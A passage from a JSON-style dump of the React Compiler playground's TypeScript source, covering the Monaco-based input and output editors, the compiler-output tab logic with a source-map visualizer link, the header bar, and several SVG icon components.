    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport MonacoEditor, {loader, type Monaco} from '@monaco-editor/react';\nimport {\n  CompilerErrorDetail,\n  CompilerDiagnostic,\n} from 'babel-plugin-react-compiler';\nimport invariant from 'invariant';\nimport type {editor} from 'monaco-editor';\nimport * as monaco from 'monaco-editor';\nimport {\n  useEffect,\n  useState,\n  unstable_ViewTransition as ViewTransition,\n} from 'react';\nimport {renderReactCompilerMarkers} from '../../lib/reactCompilerMonacoDiagnostics';\nimport {useStore, useStoreDispatch} from '../StoreContext';\nimport TabbedWindow from '../TabbedWindow';\nimport {monacoOptions} from './monacoOptions';\nimport {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';\n\n// @ts-expect-error TODO: Make TS recognize .d.ts files, in addition to loading them with webpack.\nimport React$Types from '../../node_modules/@types/react/index.d.ts';\n\nloader.config({monaco});\n\ntype Props = {\n  errors: Array<CompilerErrorDetail | CompilerDiagnostic>;\n  language: 'flow' | 'typescript';\n};\n\nexport default function Input({errors, language}: Props): JSX.Element {\n  const [monaco, setMonaco] = useState<Monaco | null>(null);\n  const store = useStore();\n  const dispatchStore = useStoreDispatch();\n\n  // Set tab width to 2 spaces for the selected input file.\n  useEffect(() => {\n    if (!monaco) return;\n    const uri = monaco.Uri.parse(`file:///index.js`);\n    const model = monaco.editor.getModel(uri);\n    invariant(model, 'Model must exist for the selected input file.');\n    renderReactCompilerMarkers({\n      monaco,\n      model,\n      details: errors,\n      source: store.source,\n    });\n  }, [monaco, errors, store.source]);\n\n  useEffect(() => {\n    /**\n     * Ignore \"can only be used in TypeScript files.\" errors, since\n     * we want to support syntax highlighting for Flow (*.js) files\n     * and Flow is not a built-in language.\n     */\n    if (!monaco) return;\n    monaco.languages.typescript.javascriptDefaults.setDiagnosticsOptions({\n      diagnosticCodesToIgnore: [\n        8002,\n        8003,\n        8004,\n        8005,\n        8006,\n        8008,\n        8009,\n        8010,\n        8011,\n        8012,\n        8013,\n        ...(language === 'flow'\n          ? [7028 /* unused label */, 6133 /* var declared but not read */]\n          : []),\n      ],\n      noSemanticValidation: true,\n      // Monaco can't validate Flow component syntax\n      noSyntaxValidation: language === 'flow',\n    });\n  }, [monaco, language]);\n\n  const handleChange: (value: string | undefined) => void = async value => {\n    if (!value) return;\n\n    dispatchStore({\n      type: 'updateSource',\n      payload: {\n        source: value,\n      },\n    });\n  };\n\n  const handleMount: (\n    _: editor.IStandaloneCodeEditor,\n    monaco: Monaco,\n  ) => void = (_, monaco) => {\n    if (typeof window !== 'undefined') {\n      window['__MONACO_LOADED__'] = true;\n    }\n    setMonaco(monaco);\n\n    const tscOptions = {\n      allowNonTsExtensions: true,\n      target: monaco.languages.typescript.ScriptTarget.ES2015,\n      moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,\n      jsx: monaco.languages.typescript.JsxEmit.Preserve,\n      typeRoots: ['node_modules/@types'],\n      allowSyntheticDefaultImports: true,\n    };\n    monaco.languages.typescript.javascriptDefaults.setCompilerOptions(\n      tscOptions,\n    );\n    monaco.languages.typescript.typescriptDefaults.setCompilerOptions({\n      ...tscOptions,\n      checkJs: true,\n      allowJs: true,\n    });\n\n    // Add React type declarations to Monaco\n    const reactLib = [\n      React$Types,\n      'file:///node_modules/@types/react/index.d.ts',\n    ] as [any, string];\n    monaco.languages.typescript.javascriptDefaults.addExtraLib(...reactLib);\n    monaco.languages.typescript.typescriptDefaults.addExtraLib(...reactLib);\n\n    /**\n     * Remeasure the font in case the custom font is loaded only after\n     * Monaco Editor is mounted.\n     * N.B. that this applies also to the output editor as it seems\n     * Monaco Editor instances share the same font config.\n     */\n    document.fonts.ready.then(() => {\n      monaco.editor.remeasureFonts();\n    });\n  };\n\n  const editorContent = (\n    <MonacoEditor\n      path={'index.js'}\n      /**\n       * .js and .jsx files are specified to be TS so that Monaco can actually\n       * check their syntax using its TS language service. They are still JS files\n       * due to their extensions, so TS language features don't work.\n       */\n      language={'javascript'}\n      value={store.source}\n      onMount={handleMount}\n      onChange={handleChange}\n      className=\"monaco-editor-input\"\n      options={monacoOptions}\n      loading={''}\n    />\n  );\n\n  const tabs = new Map([['Input', editorContent]]);\n  const [activeTab, setActiveTab] = useState('Input');\n\n  return (\n    <ViewTransition\n      update={{\n        [CONFIG_PANEL_TRANSITION]: 'container',\n        default: 'none',\n      }}>\n      <div className=\"flex-1 min-w-[550px] sm:min-w-0\">\n        <div className=\"flex flex-col h-full !h-[calc(100vh_-_3.5rem)] border-r border-gray-200\">\n          <TabbedWindow\n            tabs={tabs}\n            activeTab={activeTab}\n            onTabChange={setActiveTab}\n          />\n        </div>\n      </div>\n    </ViewTransition>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/components/Editor/Output.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  CodeIcon,\n  DocumentAddIcon,\n  InformationCircleIcon,\n} from '@heroicons/react/outline';\nimport MonacoEditor, {DiffEditor} from '@monaco-editor/react';\nimport {\n  CompilerErrorDetail,\n  CompilerDiagnostic,\n  type CompilerError,\n} from 'babel-plugin-react-compiler';\nimport parserBabel from 'prettier/plugins/babel';\nimport * as prettierPluginEstree from 'prettier/plugins/estree';\nimport * as prettier from 'prettier/standalone';\nimport {type Store} from '../../lib/stores';\nimport {\n  memo,\n  ReactNode,\n  use,\n  useState,\n  Suspense,\n  unstable_ViewTransition as ViewTransition,\n  unstable_addTransitionType as addTransitionType,\n  startTransition,\n} from 'react';\nimport AccordionWindow from '../AccordionWindow';\nimport TabbedWindow from '../TabbedWindow';\nimport {monacoOptions} from './monacoOptions';\nimport {BabelFileResult} from '@babel/core';\nimport {\n  CONFIG_PANEL_TRANSITION,\n  TOGGLE_INTERNALS_TRANSITION,\n  EXPAND_ACCORDION_TRANSITION,\n} from '../../lib/transitionTypes';\nimport {LRUCache} from 'lru-cache';\n\nconst MemoizedOutput = memo(Output);\n\nexport default MemoizedOutput;\n\nexport const BASIC_OUTPUT_TAB_NAMES = ['Output', 'SourceMap'];\n\nconst tabifyCache = new LRUCache<Store, Promise<Map<string, ReactNode>>>({\n  max: 5,\n});\n\nexport type PrintedCompilerPipelineValue =\n  | {\n      kind: 'hir';\n      name: string;\n      fnName: string | null;\n      value: string;\n    }\n  | {kind: 'reactive'; name: string; fnName: string | null; value: string}\n  | {kind: 'debug'; name: string; fnName: string | null; value: string};\n\nexport type CompilerTransformOutput = {\n  code: string;\n  sourceMaps: BabelFileResult['map'];\n  language: 'flow' | 'typescript';\n};\nexport type CompilerOutput =\n  | {\n      kind: 'ok';\n      transformOutput: CompilerTransformOutput;\n      results: Map<string, Array<PrintedCompilerPipelineValue>>;\n      errors: Array<CompilerErrorDetail | CompilerDiagnostic>;\n    }\n  | {\n      kind: 'err';\n      results: Map<string, Array<PrintedCompilerPipelineValue>>;\n      error: CompilerError;\n    };\n\ntype Props = {\n  store: Store;\n  compilerOutput: CompilerOutput;\n};\n\nasync function tabify(\n  source: string,\n  compilerOutput: CompilerOutput,\n  showInternals: boolean,\n): Promise<Map<string, ReactNode>> {\n  const tabs = new Map<string, React.ReactNode>();\n  const reorderedTabs = new Map<string, React.ReactNode>();\n  const concattedResults = new Map<string, string>();\n  // Concat all top level function declaration results into a single tab for each pass\n  for (const [passName, results] of compilerOutput.results) {\n    if (!showInternals && !BASIC_OUTPUT_TAB_NAMES.includes(passName)) {\n      continue;\n    }\n    for (const result of results) {\n      switch (result.kind) {\n        case 'hir': {\n          const prev = concattedResults.get(result.name);\n          const next = result.value;\n          const identName = `function ${result.fnName}`;\n          if (prev != null) {\n            concattedResults.set(passName, `${prev}\\n\\n${identName}\\n${next}`);\n          } else {\n            concattedResults.set(passName, `${identName}\\n${next}`);\n          }\n          break;\n        }\n        case 'reactive': {\n          const prev = concattedResults.get(passName);\n          const next = result.value;\n          if (prev != null) {\n            concattedResults.set(passName, `${prev}\\n\\n${next}`);\n          } else {\n            concattedResults.set(passName, next);\n          }\n          break;\n        }\n        case 'debug': {\n          concattedResults.set(passName, result.value);\n          break;\n        }\n        default: {\n          const _: never = result;\n          throw new Error('Unexpected result kind');\n        }\n      }\n    }\n  }\n  let lastPassOutput: string | null = null;\n  let nonDiffPasses = ['HIR', 'BuildReactiveFunction', 'EnvironmentConfig'];\n  for (const [passName, text] of concattedResults) {\n    tabs.set(\n      passName,\n      <TextTabContent\n        output={text}\n        diff={lastPassOutput}\n        showInfoPanel={!nonDiffPasses.includes(passName)}></TextTabContent>,\n    );\n    lastPassOutput = text;\n  }\n  // Ensure that JS and the JS source map come first\n  if (compilerOutput.kind === 'ok') {\n    const {transformOutput} = compilerOutput;\n    const sourceMapUrl = getSourceMapUrl(\n      transformOutput.code,\n      JSON.stringify(transformOutput.sourceMaps),\n    );\n    const code = await prettier.format(transformOutput.code, {\n      semi: true,\n      parser: transformOutput.language === 'flow' ? 'babel-flow' : 'babel-ts',\n      plugins: [parserBabel, prettierPluginEstree],\n    });\n\n    let output: string;\n    let language: string;\n    if (compilerOutput.errors.length === 0) {\n      output = code;\n      language = 'javascript';\n    } else {\n      language = 'markdown';\n      output = `\n# Summary\n\nReact Compiler compiled this function successfully, but there are lint errors that indicate potential issues with the original code.\n\n## ${compilerOutput.errors.length} Lint Errors\n\n${compilerOutput.errors.map(e => e.printErrorMessage(source, {eslint: false})).join('\\n\\n')}\n\n## Output\n\n\\`\\`\\`js\n${code}\n\\`\\`\\`\n`.trim();\n    }\n\n    reorderedTabs.set(\n      'Output',\n      <TextTabContent\n        output={output}\n        language={language}\n        diff={null}\n        showInfoPanel={false}></TextTabContent>,\n    );\n    if (sourceMapUrl) {\n      reorderedTabs.set(\n        'SourceMap',\n        <>\n          <iframe\n            src={sourceMapUrl}\n            className=\"w-full h-monaco_small sm:h-monaco\"\n            title=\"Generated Code\"\n          />\n        </>,\n      );\n    }\n  } else if (compilerOutput.kind === 'err') {\n    const errors = compilerOutput.error.printErrorMessage(source, {\n      eslint: false,\n    });\n    reorderedTabs.set(\n      'Output',\n      <TextTabContent\n        output={errors}\n        language=\"markdown\"\n        diff={null}\n        showInfoPanel={false}></TextTabContent>,\n    );\n  }\n  tabs.forEach((tab, name) => {\n    reorderedTabs.set(name, tab);\n  });\n  return reorderedTabs;\n}\n\nfunction tabifyCached(\n  store: Store,\n  compilerOutput: CompilerOutput,\n): Promise<Map<string, ReactNode>> {\n  const cached = tabifyCache.get(store);\n  if (cached) return cached;\n  const result = tabify(store.source, compilerOutput, store.showInternals);\n  tabifyCache.set(store, result);\n  return result;\n}\n\nfunction Fallback(): JSX.Element {\n  return (\n    <div className=\"w-full h-monaco_small sm:h-monaco flex items-center justify-center\">\n      Loading...\n    </div>\n  );\n}\n\nfunction utf16ToUTF8(s: string): string {\n  return unescape(encodeURIComponent(s));\n}\n\nfunction getSourceMapUrl(code: string, map: string): string | null {\n  code = utf16ToUTF8(code);\n  map = utf16ToUTF8(map);\n  return `https://evanw.github.io/source-map-visualization/#${btoa(\n    `${code.length}\\0${code}${map.length}\\0${map}`,\n  )}`;\n}\n\nfunction Output({store, compilerOutput}: Props): JSX.Element {\n  return (\n    <Suspense fallback={<Fallback />}>\n      <OutputContent store={store} compilerOutput={compilerOutput} />\n    </Suspense>\n  );\n}\n\nfunction OutputContent({store, compilerOutput}: Props): JSX.Element {\n  const [tabsOpen, setTabsOpen] = useState<Set<string>>(\n    () => new Set(['Output']),\n  );\n  const [activeTab, setActiveTab] = useState<string>('Output');\n\n  /*\n   * Update the active tab back to the output or errors tab when the compilation state\n   * changes between success/failure.\n   */\n  const [previousOutputKind, setPreviousOutputKind] = useState(\n    compilerOutput.kind,\n  );\n  const isFailure = compilerOutput.kind !== 'ok';\n\n  if (compilerOutput.kind !== previousOutputKind) {\n    setPreviousOutputKind(compilerOutput.kind);\n    if (isFailure) {\n      startTransition(() => {\n        addTransitionType(EXPAND_ACCORDION_TRANSITION);\n        setTabsOpen(prev => new Set(prev).add('Output'));\n        setActiveTab('Output');\n      });\n    }\n  }\n\n  const changedPasses: Set<string> = new Set(['Output', 'HIR']); // Initial and final passes should always be bold\n  let lastResult: string = '';\n  for (const [passName, results] of compilerOutput.results) {\n    for (const result of results) {\n      let currResult = '';\n      if (result.kind === 'hir' || result.kind === 'reactive') {\n        currResult += `function ${result.fnName}\\n\\n${result.value}`;\n      }\n      if (currResult !== lastResult) {\n        changedPasses.add(passName);\n      }\n      lastResult = currResult;\n    }\n  }\n  const tabs = use(tabifyCached(store, compilerOutput));\n\n  if (!store.showInternals) {\n    return (\n      <ViewTransition\n        update={{\n          [CONFIG_PANEL_TRANSITION]: 'container',\n          [TOGGLE_INTERNALS_TRANSITION]: '',\n          default: 'none',\n        }}>\n        <TabbedWindow\n          tabs={tabs}\n          activeTab={activeTab}\n          onTabChange={setActiveTab}\n        />\n      </ViewTransition>\n    );\n  }\n\n  return (\n    <ViewTransition\n      update={{\n        [CONFIG_PANEL_TRANSITION]: 'accordion-container',\n        [TOGGLE_INTERNALS_TRANSITION]: '',\n        default: 'none',\n      }}>\n      <AccordionWindow\n        defaultTab={store.showInternals ? 'HIR' : 'Output'}\n        setTabsOpen={setTabsOpen}\n        tabsOpen={tabsOpen}\n        tabs={tabs}\n        changedPasses={changedPasses}\n      />\n    </ViewTransition>\n  );\n}\n\nfunction TextTabContent({\n  output,\n  diff,\n  showInfoPanel,\n  language,\n}: {\n  output: string;\n  diff: string | null;\n  showInfoPanel: boolean;\n  language: string;\n}): JSX.Element {\n  const [diffMode, setDiffMode] = useState(false);\n  return (\n    /**\n     * Restrict MonacoEditor's height, since the config autoLayout:true\n     * will grow the editor to fit within parent element\n     */\n    <div className=\"w-full h-monaco_small sm:h-monaco\">\n      {showInfoPanel ? (\n        <div className=\"flex items-center gap-1 bg-amber-50 p-2\">\n          {diff != null && output !== diff ? (\n            <button\n              className=\"flex items-center gap-1 transition-colors duration-150 ease-in text-secondary hover:text-link\"\n              onClick={() => setDiffMode(diffMode => !diffMode)}>\n              {!diffMode ? (\n                <>\n                  <DocumentAddIcon className=\"w-5 h-5\" /> Show Diff\n                </>\n              ) : (\n                <>\n                  <CodeIcon className=\"w-5 h-5\" /> Show Output\n                </>\n              )}\n            </button>\n          ) : (\n            <>\n              <span className=\"flex items-center gap-1\">\n                <InformationCircleIcon className=\"w-5 h-5\" /> No changes from\n                previous pass\n              </span>\n            </>\n          )}\n        </div>\n      ) : null}\n      {diff != null && diffMode ? (\n        <DiffEditor\n          original={diff}\n          modified={output}\n          loading={''}\n          options={{\n            ...monacoOptions,\n            scrollbar: {\n              vertical: 'hidden',\n            },\n            dimension: {\n              width: 0,\n              height: 0,\n            },\n            readOnly: true,\n            lineNumbers: 'off',\n            glyphMargin: false,\n            // Undocumented see https://github.com/Microsoft/vscode/issues/30795#issuecomment-410998882\n            overviewRulerLanes: 0,\n          }}\n        />\n      ) : (\n        <MonacoEditor\n          language={language ?? 'javascript'}\n          value={output}\n          loading={''}\n          className=\"monaco-editor-output\"\n          options={{\n            ...monacoOptions,\n            readOnly: true,\n            lineNumbers: 'off',\n            glyphMargin: false,\n            // Undocumented see https://github.com/Microsoft/vscode/issues/30795#issuecomment-410998882\n            lineDecorationsWidth: 0,\n            lineNumbersMinChars: 0,\n          }}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/components/Editor/index.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport dynamic from 'next/dynamic';\n\n/**\n * monaco-editor is currently not compatible with ssr\n * https://github.com/vercel/next.js/issues/31692\n */\nconst Editor = dynamic(() => import('./EditorImpl'), {\n  ssr: false,\n});\n\nexport default Editor;\n"
  },
  {
    "path": "compiler/apps/playground/components/Editor/monacoOptions.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {EditorProps} from '@monaco-editor/react';\n\nexport const monacoOptions: Partial<EditorProps['options']> = {\n  fontSize: 14,\n  padding: {top: 8},\n  scrollbar: {\n    verticalScrollbarSize: 10,\n    alwaysConsumeMouseWheel: false,\n  },\n  minimap: {\n    enabled: false,\n  },\n  formatOnPaste: true,\n  formatOnType: true,\n  fontFamily: '\"Source Code Pro\", monospace',\n  glyphMargin: true,\n\n  autoClosingBrackets: 'languageDefined',\n  autoClosingDelete: 'always',\n  autoClosingOvertype: 'always',\n\n  automaticLayout: true,\n  wordWrap: 'on',\n  wrappingIndent: 'same',\n\n  tabSize: 2,\n};\n\nexport const monacoConfigOptions: Partial<EditorProps['options']> = {\n  ...monacoOptions,\n  lineNumbers: 'off',\n  renderLineHighlight: 'none',\n  overviewRulerBorder: false,\n  overviewRulerLanes: 0,\n  fontSize: 12,\n  scrollBeyondLastLine: false,\n  glyphMargin: false,\n};\n"
  },
  {
    "path": "compiler/apps/playground/components/Header.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {RefreshIcon, ShareIcon} from '@heroicons/react/outline';\nimport {CheckIcon} from '@heroicons/react/solid';\nimport clsx from 'clsx';\nimport Link from 'next/link';\nimport {useSnackbar} from 'notistack';\nimport {\n  useState,\n  startTransition,\n  unstable_addTransitionType as addTransitionType,\n} from 'react';\nimport {defaultStore} from '../lib/defaultStore';\nimport {IconGitHub} from './Icons/IconGitHub';\nimport Logo from './Logo';\nimport {useStore, useStoreDispatch} from './StoreContext';\nimport {TOGGLE_INTERNALS_TRANSITION} from '../lib/transitionTypes';\n\nexport default function Header(): JSX.Element {\n  const [showCheck, setShowCheck] = useState(false);\n  const store = useStore();\n  const dispatchStore = useStoreDispatch();\n  const {enqueueSnackbar, closeSnackbar} = useSnackbar();\n\n  const handleReset: () => void = () => {\n    if (confirm('Are you sure you want to reset the playground?')) {\n      /**\n       * Close open snackbars if any. This is necessary because when displaying\n       * outputs (Preview or not), we only close previous snackbars if we received\n       * new messages, which is needed in order to display \"Bad URL\" or success\n       * messages when loading Playground for the first time. Otherwise, messages\n       * such as \"Bad URL\" will be closed by the outputs calling `closeSnackbar`.\n       */\n      closeSnackbar();\n      dispatchStore({type: 'setStore', payload: {store: defaultStore}});\n    }\n  };\n\n  const handleShare: () => void = () => {\n    navigator.clipboard.writeText(location.href).then(() => {\n      enqueueSnackbar('URL copied to clipboard');\n      setShowCheck(true);\n      // Show the check mark icon briefly after URL is copied\n      setTimeout(() => setShowCheck(false), 1000);\n    });\n  };\n\n  return (\n    <div className=\"fixed z-10 flex items-center justify-between w-screen px-5 py-3 bg-white border-b border-gray-200 h-14\">\n      <div className=\"flex items-center flex-none h-full gap-2 text-lg\">\n        <Logo\n          className={clsx(\n            'w-8 h-8 text-link',\n            process.env.NODE_ENV === 'development' && 'text-yellow-600',\n          )}\n        />\n        <p className=\"hidden select-none sm:block\">React Compiler Playground</p>\n      </div>\n      <div className=\"flex items-center text-[15px] gap-4\">\n        <div className=\"flex items-center gap-2\">\n          <label className=\"show-internals relative inline-block w-[34px] h-5\">\n            <input\n              type=\"checkbox\"\n              checked={store.showInternals}\n              onChange={() =>\n                startTransition(() => {\n                  addTransitionType(TOGGLE_INTERNALS_TRANSITION);\n                  dispatchStore({type: 'toggleInternals'});\n                })\n              }\n              className=\"absolute opacity-0 cursor-pointer h-full w-full m-0\"\n            />\n            <span\n              className={clsx(\n                'absolute inset-0 rounded-full cursor-pointer transition-all duration-250',\n                \"before:content-[''] before:absolute before:w-4 before:h-4 before:left-0.5 before:bottom-0.5\",\n                'before:bg-white before:rounded-full before:transition-transform before:duration-250',\n                'focus-within:shadow-[0_0_1px_#2196F3]',\n                store.showInternals\n                  ? 'bg-link before:translate-x-3.5'\n                  : 'bg-gray-300',\n              )}></span>\n          </label>\n          <span className=\"text-secondary\">Show Internals</span>\n        </div>\n        <button\n          title=\"Reset Playground\"\n          aria-label=\"Reset Playground\"\n          className=\"flex items-center gap-1 transition-colors duration-150 ease-in text-secondary hover:text-link\"\n          onClick={handleReset}>\n          <RefreshIcon className=\"w-5 h-5\" />\n          <p className=\"hidden sm:block\">Reset</p>\n        </button>\n        <button\n          title=\"Copy sharable URL\"\n          aria-label=\"Copy sharable URL\"\n          className=\"flex items-center gap-1 transition-colors duration-150 ease-in text-secondary hover:text-link\"\n          onClick={handleShare}\n          disabled={showCheck}>\n          {!showCheck ? (\n            <ShareIcon className=\"w-5 h-5\" />\n          ) : (\n            <CheckIcon className=\"w-5 h-5 fill-blue-50\" />\n          )}\n          <p className=\"hidden sm:block\">Share</p>\n        </button>\n        <Link\n          href=\"https://github.com/facebook/react\"\n          target=\"_blank\"\n          rel=\"noreferrer noopener\"\n          aria-label=\"Open on GitHub\"\n          className=\"flex items-center gap-1 transition-colors duration-150 ease-in text-secondary hover:text-link\">\n          <IconGitHub />\n        </Link>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/components/Icons/IconChevron.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {memo} from 'react';\n\nexport const IconChevron = memo<\n  JSX.IntrinsicElements['svg'] & {\n    /**\n     * The direction the arrow should point.\n     */\n    displayDirection: 'right' | 'left';\n  }\n>(function IconChevron({className, displayDirection, ...props}) {\n  const rotationClass =\n    displayDirection === 'left' ? 'rotate-90' : '-rotate-90';\n  const classes = className ? `${rotationClass} ${className}` : rotationClass;\n\n  return (\n    <svg\n      className={classes}\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"20\"\n      height=\"20\"\n      viewBox=\"0 0 20 20\"\n      {...props}>\n      <g fill=\"none\" fillRule=\"evenodd\" transform=\"translate(-446 -398)\">\n        <path\n          fill=\"currentColor\"\n          fillRule=\"nonzero\"\n          d=\"M95.8838835,240.366117 C95.3957281,239.877961 94.6042719,239.877961 94.1161165,240.366117 C93.6279612,240.854272 93.6279612,241.645728 94.1161165,242.133883 L98.6161165,246.633883 C99.1042719,247.122039 99.8957281,247.122039 100.383883,246.633883 L104.883883,242.133883 C105.372039,241.645728 105.372039,240.854272 104.883883,240.366117 C104.395728,239.877961 103.604272,239.877961 103.116117,240.366117 L99.5,243.982233 L95.8838835,240.366117 Z\"\n          transform=\"translate(356.5 164.5)\"\n        />\n        <polygon points=\"446 418 466 418 466 398 446 398\" />\n      </g>\n    </svg>\n  );\n});\n"
  },
  {
    "path": "compiler/apps/playground/components/Icons/IconGitHub.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {memo} from 'react';\n\nexport const IconGitHub = memo<JSX.IntrinsicElements['svg']>(\n  function IconGitHub(props) {\n    return (\n      <svg\n        xmlns=\"http://www.w3.org/2000/svg\"\n        width=\"1.5em\"\n        height=\"1.5em\"\n        viewBox=\"0 -2 24 24\"\n        fill=\"currentColor\"\n        {...props}>\n        <path d=\"M10 0a10 10 0 0 0-3.16 19.49c.5.1.68-.22.68-.48l-.01-1.7c-2.78.6-3.37-1.34-3.37-1.34-.46-1.16-1.11-1.47-1.11-1.47-.9-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.9 1.52 2.34 1.08 2.91.83.1-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.94 0-1.1.39-1.99 1.03-2.69a3.6 3.6 0 0 1 .1-2.64s.84-.27 2.75 1.02a9.58 9.58 0 0 1 5 0c1.91-1.3 2.75-1.02 2.75-1.02.55 1.37.2 2.4.1 2.64.64.7 1.03 1.6 1.03 2.69 0 3.84-2.34 4.68-4.57 4.93.36.31.68.92.68 1.85l-.01 2.75c0 .26.18.58.69.48A10 10 0 0 0 10 0\"></path>\n      </svg>\n    );\n  },\n);\n"
  },
  {
    "path": "compiler/apps/playground/components/Logo.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// https://github.com/reactjs/reactjs.org/blob/main/beta/src/components/Logo.tsx\n\nexport default function Logo(props: JSX.IntrinsicElements['svg']): JSX.Element {\n  return (\n    <svg\n      viewBox=\"0 0 410 369\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}>\n      <path\n        d=\"M204.995 224.552C226.56 224.552 244.042 207.07 244.042 185.506C244.042 163.941 226.56 146.459 204.995 146.459C183.43 146.459 165.948 163.941 165.948 185.506C165.948 207.07 183.43 224.552 204.995 224.552Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M409.99 184.505C409.99 153.707 381.437 126.667 335.996 108.925C343.342 60.6535 334.19 22.3878 307.492 6.98883C283.649 -6.77511 250.631 -0.0395641 214.512 25.9753C211.316 28.2692 208.143 30.7097 204.97 33.2477C201.822 30.7097 198.65 28.2692 195.477 25.9753C159.359 -0.0395641 126.34 -6.79951 102.497 6.98883C75.8237 22.3878 66.6721 60.6291 74.0422 108.852C28.5529 126.618 0 153.682 0 184.505C0 215.303 28.5528 242.342 73.9934 260.084C66.6477 308.356 75.7993 346.621 102.497 362.02C110.575 366.682 119.727 369 129.684 369C149.085 369 171.61 360.215 195.477 343.034C198.674 340.74 201.847 338.3 205.019 335.762C208.167 338.3 211.34 340.74 214.512 343.034C238.38 360.239 260.905 369 280.306 369C290.263 369 299.415 366.682 307.492 362.02C331.335 348.256 342 316.287 337.534 271.993C337.143 268.089 336.631 264.135 335.996 260.109C381.461 242.367 409.99 215.327 409.99 184.505ZM225.934 41.8136C246.238 27.1955 265.127 19.5814 280.306 19.5814C286.871 19.5814 292.728 20.9968 297.731 23.8765C315.204 33.9798 322.672 62.9475 317.327 102.433C299.756 97.0401 280.306 92.9158 259.392 90.2802C246.872 73.8074 233.597 58.9453 220.003 46.2551C221.98 44.7421 223.957 43.229 225.934 41.8136ZM112.259 23.8765C117.262 20.9968 123.119 19.5814 129.684 19.5814C144.863 19.5814 163.752 27.1711 184.056 41.8136C186.033 43.229 188.01 44.7176 189.986 46.2551C176.393 58.9453 163.142 73.783 150.622 90.2558C129.732 92.8914 110.258 97.0401 92.687 102.409C87.3424 62.9475 94.7857 33.9798 112.259 23.8765ZM19.5233 184.505C19.5233 164.322 40.9014 143.359 77.776 128.253C81.9003 146.141 88.0502 165.054 96.1768 184.456C88.0014 203.881 81.8515 222.819 77.7272 240.732C40.9014 225.626 19.5233 204.687 19.5233 184.505ZM184.056 327.196C154.966 348.134 128.805 354.675 112.259 345.133C94.7857 335.029 87.3181 306.062 92.6626 266.576C110.234 271.969 129.684 276.093 150.598 278.729C163.117 295.202 176.393 310.064 189.986 322.754C188.01 324.292 186.033 325.78 184.056 327.196ZM204.995 310.04C180.591 287.685 157.138 257.815 137.347 223.551C132.051 214.4 121.344 191.396 117 182.489C113.535 190.786 110.112 198.398 107.427 206.5C109.623 210.575 118.092 229.213 120.434 233.288C125.071 241.317 129.928 249.127 134.931 256.692C120.898 254.227 107.915 251.055 96.1035 247.321C102.815 217.011 116.213 182.064 137.347 145.458C142.545 136.453 153.838 116.346 159.5 108C150.568 109.147 143.395 108.767 135 110.5C132.56 114.453 122.777 131.645 120.434 135.721C115.749 143.823 111.454 151.925 107.427 159.978C102.546 146.581 98.8124 133.744 96.1524 121.64C125.755 112.293 162.727 106.411 204.995 106.411C215.562 106.411 237.63 106.197 247.49 106.905C242.048 99.7544 237.38 93.2819 231.694 86.888C227.082 86.7416 209.705 86.888 204.995 86.888C195.672 86.888 186.545 87.2053 177.589 87.7422C186.472 77.1752 195.672 67.5111 204.995 58.9697C229.375 81.3239 252.851 111.195 272.643 145.458C277.841 154.463 289.073 175.426 293.49 184.505C296.98 176.207 300.281 168.64 302.99 160.489C300.793 156.389 291.898 139.747 289.555 135.696C284.918 127.667 280.062 119.858 275.059 112.317C289.092 114.782 302.075 117.954 313.886 121.688C307.175 151.998 293.777 186.945 272.643 223.551C267.445 232.556 252.651 253.178 246.99 261.524C255.922 260.377 265.595 258.663 273.99 256.93C276.43 252.976 287.212 237.364 289.555 233.288C294.216 225.235 298.512 217.182 302.489 209.153C307.224 222.185 310.982 234.997 313.715 247.394C284.138 256.741 247.214 262.598 204.995 262.598C194.428 262.598 169.859 261.208 160 260.5C165.442 267.65 171.304 275.095 176.99 281.489C181.602 281.635 200.285 282.121 204.995 282.121C214.317 282.121 223.444 281.804 232.401 281.267C223.493 291.834 214.317 301.498 204.995 310.04ZM297.731 345.133C281.185 354.699 254.999 348.159 225.934 327.196C223.957 325.78 221.98 324.292 220.003 322.754C233.597 310.064 246.848 295.226 259.367 278.753C280.233 276.118 299.659 271.993 317.205 266.625C317.547 269.089 317.888 271.554 318.132 273.97C321.72 309.649 314.277 335.566 297.731 345.133ZM332.262 240.756C328.065 222.599 321.842 203.686 313.813 184.578C321.988 165.152 328.138 146.215 332.262 128.302C369.088 143.408 390.466 164.322 390.466 184.505C390.466 204.687 369.113 225.626 332.262 240.756Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/components/Message.tsx",
